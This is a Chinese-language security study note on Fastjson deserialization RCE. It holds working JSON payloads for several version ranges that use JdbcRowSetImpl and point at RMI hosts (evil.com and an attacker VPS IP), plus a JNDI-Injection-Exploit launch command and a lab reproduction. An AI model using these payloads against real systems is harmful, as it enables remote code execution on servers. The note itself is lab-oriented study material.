组件漏洞之 Fastjson学习笔记

Fastjson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

重点就是:不同版本的fastjson,不同的poc
利用POC项目:
[GitHub - kezibei/fastjson_payload](https://github.com/kezibei/fastjson_payload)(该项目是针对不同环境的)

image-20260419190939355.png

Fastjson 漏洞 = 把一段 JSON,变成了一个 Java 对象。

而你可以指定让它变成 “危险对象”,这个对象一创建,就自动执行命令。

Java 是强类型语言,必须知道你要转成什么类(对象)

正常代码:

User user = JSON.parseObject(json, User.class);

但 Fastjson 有个自动功能

你在 JSON 里写 @type,它就自动把 JSON 转成你指定的那个类

{
    "@type":"com.xxx.User",
    "name":"test"
}

意思就是:

@type = 我要你帮我创建这个类的对象!

漏洞的关键:如果 @type 指定一个 “危险类” 呢?

Java 里有一些自带的类,它们的特点是:

只要一创建对象,就会执行代码 / 连接网络 / 加载类

攻击者最常用的危险类:com.sun.rowset.JdbcRowSetImpl

这个类有两个关键属性:

  1. dataSourceName → 可以填一个远程地址(rmi://xxx)
  2. autoCommit → 一旦设为 true,就会自动去请求远程地址

FastJson <= 1.2.24

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://evil.com:9999/evilFile",
	"autoCommit":true
}

image-20260419191033375.png

发生漏洞的代码如下:

public class Poc {  
    public static void main(String[] args) throws Exception {  
        String payload = "用户可控制的JSON数据";  
  
        JSON.parseObject(payload, Feature.SupportNonPublicField);  
    }  
}

然后我们先在vps起一个RMI/LDAP服务器,放置恶意文件,比如弹一个计算器

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.93.166.149

image-20260419191558226.png

替换payload

String payload = "{\r
"
        		+ "    \"a\": {\r
"
        		+ "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r
"
        		+ "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r
"
        		+ "        \"autoCommit\": true\r
"
        		+ "    }\r
"
        		+ "}";

image-20260419191800901.png

弹计算机了wc有黑客(如果未成功的注意Jdk版本要小于8u191

image-20260419191937684.png

靶场复现一下

https://github.com/bewhale/JavaSec
记得新建一个数据库
导入javasec.sql

可以命令启动,端口冲突的话在配置文件中改

"C:\Program Files\Java\jdk1.8.0_112\bin\java.exe" -jar .\javasec-0.0.1-SNAPSHOT.jar

可以以idea代码启动,可以看到是符合漏洞版本的

image-20260419224304079.png

image-20260419215952306.png

image-20260419223839649.png

FastJson <= 1.2.47

{
	"a": {
		"@type":"java.lang.Class",
		"val":"com.sun.rowset.JdbcRowSetImpl"
	},
	"b": {
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"rmi://evil.com:9999/evilFile",
		"autoCommit":true
	}
}

image-20260419192342311.png

继续利用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.93.166.149

image-20260419191558226.png

替换payload

"{\r
"
        		+ "    \"a\": {\r
"
        		+ "        \"@type\": \"java.lang.Class\", \r
"
        		+ "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\r
"
        		+ "    }, \r
"
        		+ "    \"b\": {\r
"
        		+ "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r
"
        		+ "        \"dataSourceName\": \"rmi://47.93.166.149:1099/mrhkom\", \r
"
        		+ "        \"autoCommit\": true\r
"
        		+ "    }\r
"
        		+ "}"

image-20260419192803949.png

启动java靶场:

用idea将漏洞版本改一下改成1.2.47符合漏洞版本,Maven重新加载一下

image-20260419224808238.png

启动靶场

需要换poc了,原来的弹不出计算器

image-20260419224749646.png

FastJson <= 1.2.80 (利用条件比较苛刻)

autoType关闭了

利用poc只能用源码项目中调用的第三方库或者组件(类)等

image-20260419193359297.png

public static void main(String[] args) {
        //ParserConfig.getGlobalInstance().setSafeMode(true);
        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.poc20220523.Poc20220523\",\"name\":\"calc\"}";
        JSON.parse(json);
    }

image-20260419193954347.png

在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)

利用POC:
GitHub - kezibei/fastjson_payload(该项目是针对不同环境的)

image-20260419194216486.png

一些面试题目

一、Fastjson 反序列化原理
简答版

Fastjson 在使用 autotype 处理 JSON 对象时,未对@type字段进行完全的安全性验证,导致攻击者可以传入危险类,并调用危险方法连接远程 RMI 主机,通过恶意类执行代码。

详细口述版
  1. Fastjson 在解析 JSON 时,如果开启了 autotype 功能,会根据 JSON 中的@type字段指定的类名进行反序列化。
  2. 当解析 JSON 对象时,Fastjson 会自动调用指定类的 setter 方法。
  3. 漏洞产生原因是 Fastjson 未对@type字段进行完全的安全性验证,攻击者可以指定危险类。
  4. 攻击者构造包含恶意类的 JSON 数据,解析时会实例化该类并调用其方法。
  5. 通过精心构造的类链(如 JNDI 注入),可以连接远程 RMI 服务并加载恶意类,最终实现远程代码执行。

二、代码层面导致 Fastjson 漏洞的函数

parseObject反序列化 JSON 时,自动调用类的 setter 方法和 getter 方法,触发恶意逻辑。


三、Java 漏洞为什么需要攻击链?攻击链原理是什么?
  • 原因:单一反序列化无法直接完成 RCE(远程代码执行)。
  • 原理:通过串联多个类的方法调用,形成一条可利用的调用链,最终到达命令执行、类加载、文件写入等危险操作。

四、Fastjson 反序列化不出网怎么利用?
  1. TemplatesImpl:动态生成字节码执行
  2. BCEL 链:JDK8u251 之前可用,通过 BCEL 编码字节码执行任意代码
  3. 写静态文件:利用文件写入类写入 Webshell
  4. 本地 JNDI 资源:利用目标本地已有的 JNDI 资源
  5. 内存马注入:注入 Tomcat Valve、Filter 等内存马
  6. 反射机制:通过 Java 反射执行敏感操作
  7. JMX 利用:目标开启 JMX 时可利用执行命令

五、出网利用流程总结

Kali 使用 marshalsec 启动 LDAP/RMI 服务,并使用 Python 启动 HTTP 服务;

攻击者构造 JSON 格式 Payload,利用 Fastjson 反序列化恶意类;

Payload 中包含攻击者 RMI 服务地址,让目标服务器主动请求攻击者服务;

恶意服务器下发恶意类,目标加载执行,造成 RCE。


六、红队视角:如何判断目标使用 Fastjson?
HTTP 请求特征
  • 请求传递 JSON 数据,Content-Type: application/json
  • 请求体中包含@type字段
  • 报错信息返回:com.alibaba.fastjson.JSONExceptionjava.lang.ClassNotFoundException
  • 响应头 / Cookie 中出现:X-Powered-By: Fastjson
快速判断法

请求包为 JSON 格式,包含@typeTemplatesImpl类,且报错信息带 fastjson 关键字。

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。